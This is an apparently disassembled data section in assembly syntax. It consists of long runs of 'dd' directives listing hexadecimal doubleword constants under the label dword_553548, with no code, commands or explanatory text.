		dd 7703F5FDh, 71EA9C7Dh, 0C1739843h, 0B12F000Bh, 34350929h
		dd 1CEA6DC5h, 0D719E20Bh, 5CD70058h, 8052C1h, 1B046506h
		dd 0E77E4D92h, 77AEC600h, 756ED59Fh, 0AADE0070h, 691B965Dh
		dd 1E764DF9h, 0EC02B5F0h, 90A33A2Ah, 83895F20h,	0AE250A80h
		dd 0D800AD33h, 14B0BB2Fh, 26117BFh, 4835B6D1h, 0B680F39Bh
		dd 5C18C54h, 0AA33EF00h, 74936689h, 60587E1Eh, 8E5DF873h
		dd 0A004212Dh, 9EBA43C3h, 0D07BF180h, 3BBF0042h, 26808629h
		dd 6600B2F4h, 2DBE94F1h, 1C23388Bh, 0A6CA771Fh,	0B5620EFCh
		dd 0A9ACBAC3h, 0AEA3C6A8h, 0F0434D01h, 3F144066h, 90AD3C60h
		dd 35FA2AE2h, 0AADA01E8h, 58568376h, 749080B5h,	3BAC88CAh
		dd 11370968h, 703030A7h, 5A768AB2h, 0B49A1200h,	5B28C6E2h
		dd 7152189Bh, 0ADB9184Dh, 2FD51B00h, 7B104894h,	6C3B00E4h
		dd 75BC80BFh, 3F00E1C1h, 5D7446Ah, 3AA6B65Ch, 80BA8C1Ah
		dd 759206BEh, 8361057Eh, 0E1B709D0h, 8954BC20h,	4C07332Ah
		dd 0AF756B7Ch, 0A4CEEEC0h, 976ACh, 1684E318h, 0D6361F1Ah
		dd 951E4F00h, 0F754EA78h, 7EFE3D0Dh, 0A3BA8500h, 439D84D7h
		dd 0D40548h, 0ECC91DAAh, 60518BABh, 0B719C833h,	3A007637h
		dd 0F0AC0780h, 0A7666Fh, 3CBB3E7Ch, 0CDEAFEF1h,	961BEC00h
		dd 0D7A9775Fh, 0AA140025h, 980A7064h, 2B00A1BAh, 0DF44963Fh
		dd 1F67E10Bh, 986E53E0h, 26B1828h, 2A19A600h, 84B0C37Eh
		dd 4AD50FE0h, 0C0DD7674h, 9ECD43Eh, 0E006454h, 0FCDAD096h
		dd 0E7B2A8h, 0EE0CCA38h, 2B7522C3h, 6668C900h, 87A0EC42h
		dd 97E100D8h, 0DFA70E67h, 4300776Ah, 9341A64Ah,	2B2B154h
		dd 9C92A211h, 0C34397E3h, 28F123F0h, 9E5EBE0Ch,	0C8307Ah
		dd 0FE0664CEh, 0C79F36D4h, 126A1E07h, 7B0FC91h,	38397C59h
		dd 2900CB73h, 4C2A9EEBh, 9000E026h, 0FF1B45FBh,	0FC2720h
		dd 0E9DDD801h, 0E2A610BFh, 0DFD4B50Fh, 76200D6h, 4883865Ah
		dd 3716D39h, 0FF9DF561h, 7100E959h, 4EC440F2h, 0F68A8B62h
		dd 0D70800DDh, 190193Ah, 97008D49h, 41F62E1Ah, 45129Ch
		dd 0A4482765h, 2C05EE2Fh, 98543539h, 0F12040AFh, 0EB6A031Fh
		dd 0BD0EDFDAh, 62FCD990h, 1523E200h, 7B1C38F8h,	7C7000C9h
		dd 19C6ADDEh, 611499E9h, 1FE4DF39h, 5203E3D0h, 8B5BA127h
		dd 9E959888h, 0A5AB0F35h, 0ED20CEC9h, 0D0DA69D8h, 0F32AA600h
		dd 217D8617h, 0BD41384Ah, 1EC17A9Dh, 0FBFC25h, 0D3F1951Fh
		dd 75E7F69Fh, 2768FA00h, 0B1A1110Ah, 0DFA60113h, 48CBB21h
		dd 1E99E07Bh, 59B7C200h, 0E77CEF5Fh, 4D4E0755h,	0FB3E3D2h
		dd 0DD6DEA60h, 1F053A8Dh, 1C0EE5D7h, 56583280h,	0EFDEEE7h
		dd 4DE013FFh, 2F00D414h, 0BEB067D9h, 29004917h,	8BDA4E1Ch
		dd 3968031Bh, 1004A12h,	0BD97D79Eh, 24EAC357h, 0D057D1Ch
		dd 710863C0h, 38676C7Ch, 36809DFAh, 1297EA0Bh, 463BA751h
		dd 0CC4D036Bh, 0E8C3F95Ah, 7A554C85h, 90FCE9h, 2E307644h
		dd 6175971Fh, 7D17D0EFh, 4AA47A00h, 806B865Dh, 0E7FA39h
		dd 0AB2006FFh, 0B8676A59h, 0CEA0C80Eh, 0D52E04Bh, 0E51D81h
		dd 6D1FFD36h, 5786791Ah, 44CD3800h, 0C6736AC0h,	9D203B04h
		dd 0E0B2D80h, 4A1F6D59h, 0D0F8AB1Dh, 0A006EF4Eh, 8F8CEB71h
		dd 0A5500A5h, 4578862Ch, 1501A87Dh, 2D4FDB5Fh, 8ED0EE6Dh
		dd 8770010h, 0C57DE5Ah,	0BB003F5Eh, 187CFFD7h, 2173BCh
		dd 0B14DF570h, 6BDF88B9h, 0C600C3ECh, 1AEC0620h, 41C7F7h
		dd 9490A29Eh, 0FD31D88Fh, 0FFB39C00h, 0E373874Bh, 15C0008Bh
		dd 7E1AE7C3h, 4600CA66h, 33CD2DD4h, 0F0B5B83Ch,	0B3311449h
		dd 78E803h, 4D8AF6BEh, 555FDAF4h, 189E2600h, 0D14FB3DEh
		dd 0E30E001Dh, 1562E712h, 0FA0029ACh, 73B6D0E8h, 7BEE49h
		dd 0F1D4040Fh, 3EEB9A40h, 0BAA5913Bh, 0CEED0108h, 0E84372FCh
		dd 776BBECh, 0F6D1F32Fh, 5C11300Ch, 0A30029AEh,	9E4872BFh
		dd 0DEAC5AFh, 0FEAA95D8h, 0C4CAC139h, 4400C7F8h, 0C408A00Fh
		dd 0B00691h, 20E7252Bh,	0E0D8E2C5h, 0AEE8CC4Bh,	21A6D218h
		dd 360A4890h, 0C0EDA938h, 4C00DC17h, 0A13B84DFh, 0AD2F00C7h
		dd 5B2AF9CBh, 9C004F2Dh, 0E8D1F213h, 8460Dh, 5B60749h
		dd 3135717Ch, 0A68E40Fh, 3663E0F8h, 38A47025h, 9E843B8Dh
		dd 80499BF4h, 0E4AF2D72h, 0E150B503h, 0F0A8A4A0h, 7FD33A62h
		dd 3B9748B7h, 0B9CD7201h, 40C56E1Dh, 14661FFCh,	0A126500Fh
		dd 0A4FB204Ah, 935443h,	8E4C4B77h, 8D47C45Ah, 3C9B6C00h
		dd 2BD95631h, 8514016Fh, 0EC15662Ch, 0A848C69Fh, 5F04E7D0h
		dd 2D579206h, 49A79891h, 0DFCEECh, 0A8E1C55Ah, 2C139E9Dh
		dd 82F121C2h, 21F460E7h, 0F2A2C364h, 13A07A9Ah,	0F1763367h
		dd 9221EC62h, 0A32C806Bh, 12E00D44h, 0E80324A8h, 70186050h
		dd 3F7308B6h, 7FF489h, 57D9FB04h, 88924393h, 6FB2C709h
		dd 7D670058h, 0C0F609AFh, 0D5CA938h, 5A30273Dh,	0E76A71EDh
		dd 6D7CF0h, 0E68B0717h,	0AF68BC26h, 89233E30h, 0C3A971h
		dd 4E1A0ABFh, 17905954h, 0AE527302h, 81717B27h,	5CBD56B4h
		dd 0E742D8h, 5B0C7A3Ah,	0A747109Fh, 72E5E800h, 0D4FCDCEFh
		dd 19CB0085h, 4399ECC2h, 0FF00F506h, 268D82C1h,	7BE080CEh
		dd 5F3EF88Ch, 0F70406FEh, 0A400BE3Bh, 0F524DDA7h, 0D193CF9h
		dd 0C72FDAFBh, 0B0FA41A9h, 0E0FC56B4h, 3441048Dh, 108022FAh
		dd 2BB38B88h, 37018F23h, 0EB992FEDh, 0C081EF7Dh, 8241634h
		dd 358D7056h, 0A3283062h, 0DC4A2204h, 23268A22h, 5111B660h
		dd 0E611EA0Fh, 1D1E11D8h
		dd 22FE0211h, 61EE2EDBh, 83430031h, 0A75F321Fh,	3F0348ECh
		dd 0C178D1C6h, 7DB588FFh, 2D2600CFh, 0FBBE776Ch, 88001724h
		dd 950C3F6Ah, 0BB29CA5h, 3B7929C3h, 709DCC00h, 0B316C550h
		dd 0F2002E32h, 0E767E3E4h, 0D7F8F321h, 25B107DCh, 0A08EEC9Dh
		dd 0D006FBB2h, 0AE00FA77h, 0D95362BCh, 0CB550h,	0F7D62BCFh
		dd 56011463h, 4270B405h, 0B043777Dh, 0D736C7E7h, 0B2C6EC20h
		dd 336A397Ch, 0F57A3480h, 0EE29FCC9h, 0F3B3ED00h, 52383123h
		dd 83DD0350h, 0A0402793h, 99E02FFBh, 0D8A0123Dh, 0FD0032F7h
		dd 0BC546C50h, 7CD7D3h,	26C10A89h, 0AF1007EEh, 0C43FA500h
		dd 6A84D0Bh, 4269015Fh,	5605A967h, 0DCFBCDA0h, 0C600551Ah
		dd 0C00D99A5h, 165047h,	81A7F7D1h, 26B3AC01h, 9BB1FE24h
		dd 0D0ECB403h, 0A909D0CCh, 4E8A00DAh, 7D2F0FCFh, 580F5B3Dh
		dd 0AA94C9D9h, 0CE0EBFC4h, 0AFB8201Bh, 5E39B9h,	0F96145DDh
		dd 0BE9521AEh, 0EFAC5103h, 0B862D87Bh, 1EFEA4C5h, 0C01ED11Ah
		dd 0E8DB6E14h, 7079E571h, 8158E20Eh, 37560769h,	401808C2h
		dd 7934F3h, 46EE1766h, 19A9AC02h, 8489C901h, 0DCE895F3h
		dd 4B3898D7h, 67AE0A1Eh, 0A01ABBh, 33A01CA3h, 7E01E5DDh
		dd 1205D309h, 0F4D417ECh, 3D2939CFh, 8207A9D8h,	406E8FFDh
		dd 6DC647AFh, 17AD9600h, 0E0D955C3h, 19C21F7Ch,	1001BCE4h
		dd 0D471521Dh, 0D12E704Ah, 51686F00h, 0BCB7C186h, 5FE9Eh
		dd 0EF143570h, 2E925AB8h, 13E33Ah, 9030B6F6h, 1C8C1F99h
		dd 40400CEAh, 4E12FF33h, 0EFA07A02h, 0B800481Eh, 24576409h
		dd 52C11ADh, 277B6303h,	44BC00E7h, 0CD3FCAEh, 8314C038h
		dd 5B7D13Fh, 98E0907Bh,	0F85B49A6h, 9ADCC500h, 5E8638E1h
		dd 0A8745Ch, 933FCA1Ch,	14DBAC11h, 0F8D2C12Eh, 8090251Fh
		dd 0EDCDF3B7h, 10EC738h, 0A0FF4FE2h, 3D168F24h,	0AC781804h
		dd 5A2C30D8h, 0CFC09607h, 0E4E05561h, 90BFD319h, 0A64948CAh
		dd 0A537C100h, 665AFE46h, 691DE300h, 56424333h,	0B82000E4h
		dd 0E0F3D105h, 0EC499FEDh, 9C648014h, 8940C6h, 3D058AF3h
		dd 6588771Fh, 0AE735D00h, 83B2CC09h, 758E0023h,	0EF30EE34h
		dd 0C800F786h, 0F14F12CDh, 1E2105Ch, 0E01B6E6Dh, 0D9A9B64Ah
		dd 66AE8EBh, 0B0568F00h, 0FB2DDA8Dh, 0B49834h, 5325754Bh
		dd 4A72495Ch, 0E66DEA00h, 0B0B1DEBAh, 43E49Fh, 0FEA13423h
		dd 0F52AC96Ah, 0FA75F400h, 0E0BA47F8h, 519C007Dh, 0EF824997h
		dd 34604B62h, 0C731FFE0h, 2B090161h, 96CE1A11h,	0D2ADC45Ch
		dd 0B800CFE0h, 0E4B4504Bh, 0B81F2422h, 486B002Bh, 81551DBEh
		dd 0DF7815F6h, 0D6239D00h, 0BA5D4165h, 0BC6E001Ch, 3B029CE3h
		dd 720743F2h, 0E78BD2B5h, 0C8D6CEF1h, 73F2620h,	479E1C56h
		dd 0EBFD94A0h, 0A1B73080h, 0D83D0E3Eh, 77E08674h, 59903566h
		dd 92B0B805h, 0FAC04DCEh, 0C07558h, 488BBD7Eh, 0B2767255h
		dd 96129303h, 0B84563BFh, 0CCA39DAh, 0E99FAF61h, 0D126F6E1h
		dd 3D6058h, 9DFCA24Bh, 6884859h, 0D4FBD92Dh, 8D0058AFh
		dd 0D086BEC9h, 48927B61h, 4D8058AAh, 3FD693B8h,	172C0B1Eh
		dd 47A8C880h, 98F6A761h, 86355078h, 0FAF22Ah, 29222F53h
		dd 4D6039F5h, 69E9E307h, 8D70DF0h, 2507EC0h, 416801F1h
		dd 191C3F45h, 0E34660A2h, 6F330501h, 249A0C69h,	71271DCh
		dd 0D3F61D7h, 0C9289097h, 4D000E78h, 0BEECD1B4h, 0D4862Fh
		dd 164A20C3h, 5FFB0FB5h, 43175B0Bh, 0E81C8053h,	149B2313h
		dd 0E89114FFh, 0F92A0DA0h, 63C9A600h, 9CC330E3h, 0FF3F0990h
		dd 0D407FCDAh, 2C869072h, 0B701D6Ah, 0F9C20400h, 0E7A939AAh
		dd 4AB100B0h, 0DA1AD585h, 0A839FD42h, 0F4300EFh, 7203A02Ah
		dd 510C0096h, 3E1E45D5h, 0B23D104Eh, 0B725012Fh, 4DE332E0h
		dd 73A72680h, 0DD28E929h, 0B3C4C800h, 76DA68E4h, 420C00EEh
		dd 69E5FA10h, 527AF356h, 38F1300h, 0CD5204Dh, 0CE851E45h
		dd 60AE804Fh, 0E0ABDDD2h, 9E42B40Bh, 6B9020DCh,	1E8E36CEh
		dd 0C0139F7Ch, 810B44FDh, 0F20052F7h, 4AFAF163h, 3B26891Dh
		dd 9709A05Ah, 4E00B030h, 0CC4E92D5h, 82F6343Eh,	78F7A512h
		dd 60D3E2CFh, 516C6E6h,	3EBE9AD8h, 33C09009h, 5601D9A5h
		dd 137EAFADh, 0D4EC8AA8h, 0D1AC261Ch, 404F1D60h, 0B4186427h
		dd 83006071h, 5A513416h, 0C0780873h, 2B1E52B9h,	37008AFEh
		dd 39A613BBh, 3FD8BFA8h, 20BE2772h, 0EF31D40Ch,	0C8009A79h
		dd 0E62F5595h, 5CB31417h, 0AF18F508h, 0C1B25020h, 15C014B9h
		dd 60AC3761h, 0EA951912h, 0BC00422Ah, 7AFF1878h, 3552EDh
		dd 1167240Ah, 7E6C5C40h, 876AB700h, 30321EB3h, 91FAE4h
		dd 0A1B9AB25h, 20F9DAF8h, 0C5DD840Fh, 56D020A3h, 655063h
		dd 3C9D2B76h, 0E6EC3171h, 186DB700h, 0EE98FB96h, 7C9473h
		dd 310D07EDh, 0F501E162h, 7CFB09CFh, 5032F933h,	0B7A90DC2h
		dd 0C2573CC8h, 8700FFF6h, 0EC4FA611h, 5A2ADBh, 9ED988E7h
		dd 0A5891576h, 2298AB00h, 0D434799Dh, 0A2E71D0Bh, 9C1DC025h
		dd 0CCCBA881h, 143A653Eh, 4A03836h, 0E30F622Fh,	20409985h
		dd 0BA644073h, 3FFC00F9h, 0D1F301B5h, 8302BB68h, 8A6034C4h
		dd 0F07363D7h, 1B451Eh,	689F22Bh, 60DFBBB1h, 75122492h
		dd 77030D03h, 0E84B4F57h, 2EE92D97h, 0DC3394h, 346F7B43h
		dd 4E509F35h, 0EC0E4B90h, 7D091004h, 0C78C4487h, 2729EE06h
		dd 0D000EBE2h, 0CE70B496h, 33CAE48h, 8A0B9A2Fh,	0BC7FA86Dh
		dd 8B0100EBh, 11AFB46Ah, 9FFA3C5Ah, 4593C50Fh, 33A28092h
		dd 0B70CDEh, 0A8526631h, 728A53Bh, 428FA701h, 0B9DEDAD4h
		dd 0EE92C440h, 20BC4DA1h, 93A98C01h, 8194C802h,	0C4742910h
		dd 0A8FC3195h, 2CE067h,	7836A1Ah, 2D8D8463h, 3079C300h
		dd 560860D9h, 0C9EF1C50h, 0A33DC055h, 2D722786h, 5479117Dh
		dd 9C325Dh, 4C449064h, 1C626779h, 40D4BD22h, 0BC7EA6C0h
		dd 5EE6B0FBh, 697E6EFAh, 58BE1D04h, 0C1EEE7DCh,	0DC59A696h
		dd 0B212784Bh, 20007E91h, 0A8FD826h, 0F1B3008Bh, 11446824h
		dd 9707F07Dh, 403F2FCEh, 6E3C3720h, 804B00D8h, 880FCB15h
		dd 68BA0858h, 0B436B500h, 4F74F7BAh, 0C55FECAh,	0A50616F3h
		dd 3500FC20h, 3703F821h, 18C464D9h, 700CF9E3h, 0B8001AF5h
		dd 7EC3811h, 90B3FA08h,	0A7500054h, 34E6746h, 65000514h
		dd 1145A8C9h, 18B3CAh, 0FA891FFEh, 0D40F36BFh, 5DCB9000h
		dd 0CE6D9AEh, 0F06500EBh, 0E51B39A1h, 0B00A80Ah, 7B6B8ACAh
		dd 1D87420h, 76E7CDD0h,	0EC72D56Ah, 7D00F0A0h, 7CF235EBh
		dd 0A94606h, 2E6705C8h,	2BE6936h, 0DD00FBE0h, 0B7A45FDAh
		dd 0FFEE22h, 33BC3760h,	4BB5BAAEh, 0E71B0C00h, 99714266h
		dd 61C10EE5h, 0A2209F62h, 3DDD5E19h, 0FFBBE300h, 0B08E1415h
		dd 0C2B20016h, 0E182C1C9h, 1716DAB7h, 505A8BDDh, 3D506029h
		dd 43433EDh, 4ED8A010h,	8C0079E0h, 3551AF1h, 0BB2AE7h
		dd 63B71F62h, 69A1FAD5h, 0A25B6C1Dh, 0B9DDD80h,	281B3Ch
		dd 85CBCEFFh, 0F190BC3Fh, 1448E201h, 13F08F95h,	0F7E4D6DDh
		dd 7CC926B0h, 76150093h, 0D2FEE022h, 4C4E7000h,	44732E1Eh
		dd 54D021Fh, 0ECED9AB5h, 0CEF7D460h, 9F91600h, 0D615448Fh
		dd 0B56F02BCh, 20E26EA1h, 383476E0h, 3012B201h,	0E84EC3CBh
		dd 1E5E15D8h, 6739E611h, 1E93C402h, 0B38FC853h,	0E291E03Bh
		dd 7831FC8h, 54F6CCACh,	1589C0D0h, 1104DE70h, 9A66A544h
		dd 604FB582h, 681C20h
dword_553548	dd 0D5BF378Ch, 0CE5A7446h, 4B615900h, 0D215A9FCh, 0AACF588Eh
		dd 68F51900h, 9FDB877Ah, 0AC89F126h, 0A194A800h, 2C153CC3h
		dd 11CF840h, 3056FBC8h,	5A083095h, 0D04EF112h, 0E7AF7800h
		dd 0E644F86h, 3FAC2C40h, 1C0CBBA0h, 0FE0365B0h,	1A1F3DFCh
		dd 7432F146h, 0B33FE040h, 8D2F1D0Ah, 5E4180BBh,	0D0BE3E36h
		dd 751D5C00h, 0AF89E0EEh, 94183BA5h, 0E8F3ED00h, 8FB3F25Ah
		dd 50D4FF02h, 4066BA6Eh, 967064Ch, 0C22EF5B8h, 1D768C80h
		dd 47605B24h, 535831D8h, 8394167Fh, 0BDFC40E2h,	0D371C15Ah
		dd 40690200h, 58FFA133h, 1E940043h, 0E9B12883h,	0BC00FE91h
		dd 243F4DF7h, 586C9D32h, 2F00F35Ch, 0F6C890C5h,	311FB95Eh
		dd 8C00DBE5h, 9128ECE1h, 0FC560037h, 0B07A1226h, 0CC4A939Fh
		dd 0D7B17800h, 4FAA86CAh, 7E2040D4h, 0C5BA6A8Fh, 17EEC81Dh
		dd 0CB7D1B00h, 7AD4769Fh, 1DED010Fh, 0C63B8488h, 8AC2044h
		dd 0C9BE9B00h, 70F1569Eh, 0C0553BB0h, 21497F80h, 200EEB66h
		dd 0FF312Dh, 0BB4D7064h, 126F783Ah, 206CB68Ah, 0DA505138h
		dd 0C3171A03h, 97D4DDA4h, 36E03C40h, 4490B6h, 19DB9E34h
		dd 85882750h, 2B168E0Eh, 894080D0h, 3A84B396h, 6905A13Ch
		dd 91E5B49Ah, 0D338BB50h, 0C3E10E90h, 2DEA6101h, 0E64C1430h
		dd 0A1B60D30h, 0A0ECA380h, 519400D8h, 0D005A8C8h, 0BF0EDD78h
		dd 822B6B55h, 0E0548B84h, 99E7450h, 50BA3661h, 2AB72400h
		dd 6803F6D0h, 0FDDE2202h, 3BA0E8C2h, 60480109h,	0AA8F2BFAh
		dd 3E05ECD3h, 0C74F4700h, 7E1D9A9Ch, 91DB00E8h,	2EA63FABh
		dd 0CE0034EFh, 0D7434F72h, 3FC3D167h, 2400F5B2h, 0E4D96CBEh
		dd 0AB3B2781h, 805A3107h, 0C26087B0h, 5992622h,	702808Ch
		dd 0B2348D61h, 5F00C670h, 2AE862F5h, 0FCEA0Bh, 9C942ADh
		dd 9318FEF8h, 9DFAD22Ch, 0F3910200h, 3DB88537h,	0CC0021EDh
		dd 0B1B909AEh, 0A2004C6Ch, 1D6B7A40h, 3372F4Bh,	16BE77F4h
		dd 41F9B602h, 5244C4A7h, 0CCDF91Ch, 0C357CFh, 0E5BBD3C0h
		dd 8090B68Ah, 944651F8h, 0D400280Eh, 0B3D7AEBDh, 49AC9329h
		dd 8C022CBAh, 48023CFAh, 68E468E0h, 0FE5EB100h,	576A076Bh
		dd 40509F4Eh, 0E7501407h, 0C93055A8h, 0B0D6714Bh, 0F85602B0h
		dd 9E644157h, 95023444h, 83D37E42h, 1878FFh, 5320D02Eh
		dd 0A9A2FD5Eh, 2FC73307h, 0C5D2DBB8h, 6E34E024h, 60F92C58h
		dd 0B4700004h, 49BECDF4h, 11185900h, 3A505FB1h,	0A632008Ch
		dd 98FB5C4Bh, 6900228Dh, 9C2435ADh, 481951h, 0DD5F7CA5h
		dd 9BC5B80Eh, 0F6FDC100h, 0D5A082EAh, 263705D2h, 40FE8D34h
		dd 4793D794h, 6B008655h, 0ED078AB7h, 0FFBC3Ah, 42DAB33h
		dd 0BE804878h, 62F991Fh, 80D9B289h, 0CC612088h,	35DE13C0h
		dd 5D8400BAh, 9D6F72BCh, 0AF2DB31Dh, 5FC5300h, 90C817BFh
		dd 1EC2FA24h, 53AA5E9h,	816CF25Ch, 45F8EAA5h, 16980094h
		dd 717D2495h, 45BE2B00h, 5F619DC3h, 25D4F137h, 0DA8D2887h
		dd 66C1000Ch, 74656C9h,	2FFEABA4h, 45E60500h, 0DA6F3E5Ch
		dd 0FD7C11h, 64D64857h,	16A337B9h, 0E1036CB4h, 98D73532h
		dd 0EC80C017h, 276B28EAh, 26031C8Ch, 0A76F8031h, 0C5F5AF3Bh
		dd 8E982801h, 0E2A00DEAh, 3512ECh, 68145741h, 88465F69h
		dd 53FCE8FFh, 5B8C6700h, 6678D66Eh, 0EB012EFh, 292000DCh
		dd 0B46A518Eh, 97829B01h, 3331193Eh, 0F43ACC6Dh, 0C1A72A87h
		dd 0EF9D199h, 0BC9CCCC7h, 0C50BD972h, 8023EC91h, 0E27EAA82h
		dd 0A3E6003Eh, 0D3995550h, 0BE00C34Fh, 8D5A09B8h, 0E3CA07h
		dd 0B50CE863h, 914F8BC6h, 0E420BD67h, 3BDD9FE0h, 0A02BFA90h
		dd 4C1070DEh, 0F807471Dh, 80D86A78h, 44DD5083h,	5FE22500h
		dd 4BBB7303h, 4E2F0E3Dh, 4580786Ah, 65BC0FE8h, 0B0ABE00h
		dd 0BDD3229Dh, 936407FAh, 1060214Ch, 0C50D8BB8h, 3A27E00h
		dd 64AA83DDh, 3AB50022h, 1E21F4FFh, 0E6004F75h,	4ADD881Fh
		dd 547F25h, 391D9E11h, 0F55560A6h, 64B28DCh, 0B0B8007Ah
		dd 3FCB89A4h, 9280BD95h, 3804B276h, 25385AB4h, 1800FC4Eh
		dd 3EEFAA0Fh, 2EAE3Ch, 0BCB0AD23h, 6442268Ah, 0FD981600h
		dd 0CEFC6AE0h, 5D50000Ch, 54B68514h, 2E3058A0h,	535EA112h
		dd 61E50473h, 0B0D4F76Ch, 47141F64h, 0E8AF91h, 68E3A49Fh
		dd 3BD2236h, 0F0768F0Bh, 0E890A3BAh, 0E707D64Eh, 0A42D7CCCh
		dd 0D47BEBF0h, 32AB285Fh, 6770009Ch, 952BD745h,	4074849h
		dd 3CFFB661h, 0A4F0E81Bh, 0AC530046h, 0A8DB0324h, 0B4190D44h
		dd 0A920F9B2h, 6CC109Fh, 0A153E280h, 8C2FB026h,	0C1393C46h
		dd 509CAF08h, 5038B119h, 8FD4E744h, 65A23F4Eh, 0FFA5AF39h
		dd 77831047h, 92398AFh,	2D384C21h, 81280C51h, 41477425h
		dd 0FA185908h, 365D7F0Eh, 58A745D4h, 963C0C03h,	0A0E90A3Dh
		dd 8472DFh, 992FF087h, 4C00DAE1h, 0DEA7C444h, 2DC0E566h
		dd 2A7E21B4h, 4B1C982Fh, 0A4550E17h, 0DDC0719Bh, 0C6E721F7h
		dd 0F50BFB00h, 8CAA45F9h, 37CA787Bh, 0B070440Ah, 4939F6FEh
		dd 7100737Eh, 82EFE242h, 1E31E76h, 0FE9F48F7h, 0F821A72Fh
		dd 3B003D5Ah, 17D5A6E4h, 338C96Eh, 0A529081Fh, 0D6F258FAh
		dd 46FCAC80h, 5F0595AFh, 20835161h, 0A8D49000h,	0EF03BDh
		dd 0E25AAB23h, 5619CF43h, 77FDD007h, 189F3042h,	0AD32E20h
		dd 57F461A1h, 5E557020h, 73DD098Ch, 144047F4h, 8E00B71Fh
		dd 8FD46A67h, 0EE3CED5Ch, 0A89EE85Dh, 0F5702BCh, 15A5326Ch
		dd 0CAA6E582h, 0F3708468h, 0D6341815h, 9DBC00ECh, 578202F5h
		dd 0CBE100DEh, 1A0E9817h, 0E7A041DDh, 515083D5h, 0A60C1288h
		dd 48E4BAADh, 0E81F0C0Fh, 4159250Bh, 0AE0582F4h, 2D78C0E9h
		dd 0A372EC83h, 0FA210046h, 495D8236h, 0BD7F7B5Eh, 76014CF2h
		dd 3B971889h, 442477C3h, 56BC1BCDh, 0BFC36949h,	9AFDE6C8h
		dd 3ACFE206h, 6008BA92h, 95D02173h, 0C40245E7h,	98460685h
		dd 4BE482E3h, 71B82C4Eh, 0DE231842h, 0B4827E00h, 869A90E9h
		dd 0E00124A4h, 0D2EB8234h, 44C6A9D4h, 616826DCh, 0BD344118h
		dd 0B618823Ch, 0AF872920h, 0F91000ECh, 0B8A8B950h, 0CA531927h
		dd 500708FDh, 25137AC8h, 81417D00h, 0B0B485BBh,	172CA047h
		dd 0A9FEEF6h, 100C8954h, 60696490h, 3209981h, 5E8677F0h
		dd 800A7E8h, 52BAACCh, 0FA99793Bh, 0E4110F40h, 0EB80750Ah
		dd 0F9EFEE66h, 0EDF54D07h, 0BBC10528h, 208E0467h, 0A921232Bh
		dd 807A6DECh, 99851549h, 5457F014h, 40313487h, 7D003FABh
		dd 436C2899h, 6D5E780h,	0C24457DDh, 0CC5861EFh,	164B0064h
		dd 3AD9DE40h, 81831E04h, 0D5B901F5h, 0CC78CAE0h, 9700021Eh
		dd 46EF3E5h, 0C0DE1305h, 0B623CBB9h, 1806638Ah,	198DEE99h
		dd 0BD53008h, 0B6146B20h, 1C53E100h, 86BA6F16h,	0CEDD02F8h
		dd 2A887FE9h, 0D39F6D41h, 138A9000h, 0D671F248h, 29430E3Eh
		dd 0C58C391Eh, 180369B1h, 7DB4BA40h, 0C157A008h, 93C7134Dh
		dd 0EB7200AAh, 0B075F098h, 9C01C32Ah, 0DFCD6500h, 0C68ED27Eh
		dd 3D8B1DE4h, 216018CFh, 0E0000BCBh, 1A463266h,	2EBCC1h
		dd 4890AB8Dh, 6088F233h, 0D0A0A967h, 125897Ch, 663973A6h
		dd 0D16F6CE1h, 0E6B5E09Fh, 23D420D0h, 99820F1Bh, 63AFF064h
		dd 282107C9h, 0D090997Ah, 0F0471193h, 0EE2208F4h, 857500DEh
		dd 0B78A6ABh, 62185C1Ch, 79E89F2Ah, 0F20286C2h,	6D215DFh
		dd 0DA2E18CFh, 538CA80h, 0FE0413E0h, 0BBB840A0h, 33FFA2CFh
		dd 80D5343Dh, 0A8F5F22h
		dd 606C117Bh, 439D2049h, 3E7ADEA9h, 38A072F0h, 0F454DD25h
		dd 9B076088h, 0F52DA5FEh, 0EC08CED5h, 4812C015h, 1E2171D7h
		dd 0B89139h, 0B5401B6Ah, 0F6F4A5D9h, 82F10681h,	2036B678h
		dd 0AE882903h, 88CE434Fh, 2A2A8762h, 430DEEFh, 71F14B64h
		dd 20C262AEh, 2F48EDB4h, 7403C3E4h, 0CFD88DE9h,	0A211A0FDh
		dd 1A660658h, 31B9C171h, 2F56E800h, 3A857E16h, 446F008Eh
		dd 43861B9Bh, 0A81F9CE6h, 7789B5FDh, 2B7421F2h,	0AC4CF94Ch
		dd 0E99809F7h, 9427F1DBh, 470780D9h, 1A00D0ADh,	0C3E36C8Fh
		dd 0FE68FDh, 2328B6B3h,	94661805h, 58B2DC02h, 4CAF75F2h
		dd 0DFC00264h, 0CED6CD43h, 0F0175919h, 73EEE006h, 4128EB03h
		dd 0B0F149A7h, 35589Dh,	6B4F8B9Fh, 0DD378421h, 625ECD03h
		dd 2408C86Ch, 5EEC6940h, 0D500A246h, 2ACDD8FBh,	4718EC7Fh
		dd 0DD410E6Dh, 0BE2100C0h, 0CC4F8A08h, 277796C1h, 0C3007899h
		dd 0FB431067h, 97FC0E6Eh, 0B9A93673h, 37F38Fh, 14EAA84Dh
		dd 270610ADh, 37CE2F04h, 0D36F3008h, 14B86220h,	0E08F0A01h
		dd 73B7D417h, 70C81881h, 0A44EC555h, 8503DF48h,	4D220Fh
		dd 0AF571210h, 9363ABBAh, 5CD4230Eh, 311C8C92h,	0B4310F6Fh
		dd 51A001F5h, 690374A6h, 5D92B900h, 1C5F4B48h, 85A203A8h
		dd 54281FDAh, 31340EDDh, 634021C8h, 21ABB6AFh, 57989203h
		dd 58B331h, 0FC747FAFh,	94317628h, 245C6100h, 0CF4BA03h
		dd 8CD1D0B1h, 0F900E423h, 0CF108A14h, 9A6F8603h, 153F4021h
		dd 0F9F1B1h, 87D48CE2h,	53176541h, 0C2335500h, 6B1EAC5Bh
		dd 729A33D6h, 58A3BD90h, 1100D4C3h, 0C08B5ABFh,	0E27C61A6h
		dd 0ED09C65Eh, 9F002073h, 7EE18362h, 0CC1D767h,	0C6C04DFAh
		dd 28C5748h, 0A6CD8EB5h, 0F3197BA9h, 8B5DE810h,	0A4A0FB7Ch
		dd 2200AA9Fh, 0D997EF3Fh, 54A370C0h, 0E0C59879h, 0AF6801BEh
		dd 2D4A4FD7h, 90F1A04Eh, 0EB01AE46h, 3F155C14h,	40980C04h
		dd 317E0DD3h, 12B8333Bh, 3C3A6ABEh, 0C76EA310h,	26F0D11Bh
		dd 760C749h, 0A906EE9Dh, 0FD442099h, 0E40030A3h, 0F4B8283Ah
		dd 1D58FF24h, 7A18279Fh, 84F09E00h, 7F3D35D6h, 0F4522802h
		dd 0E01930E4h, 1D43277h, 8D799501h, 0CFC68866h,	4987F9A8h
